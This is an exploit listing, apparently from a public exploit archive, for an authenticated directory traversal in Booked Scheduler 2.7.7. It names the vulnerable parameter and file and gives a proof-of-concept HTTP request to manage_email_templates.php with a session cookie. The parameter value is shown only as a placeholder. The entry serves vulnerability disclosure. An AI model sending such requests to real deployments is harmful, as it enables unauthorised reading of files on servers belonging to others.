Booked Scheduler 2.7.7 - Authenticated Directory Traversal

# Exploit Title: Booked Scheduler 2.7.7 - Authenticated Directory Traversal
# Date: 2020-05-03
# Author: Besim ALTINOK
# Vendor Homepage: https://www.bookedscheduler.com
# Software Link: https://sourceforge.net/projects/phpscheduleit/
# Version: v2.7.7
# Tested on: Xampp
# Credit: İsmail BOZKURT

Description:
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Vulnerable Parameter: $tn
Vulnerable File: manage_email_templates.php


PoC
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GET
/booked/Web/admin/manage_email_templates.php?dr=template&lang=en_us&tn=vulnerable-parameter&_=1588451710324
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 ***************************
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/booked/Web/admin/manage_email_templates.php
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: new_version=v%3D2.7.7%2Cfs%3D1588451441;
PHPSESSID=94129ac9414baee8c6ca2f19ab0bcbec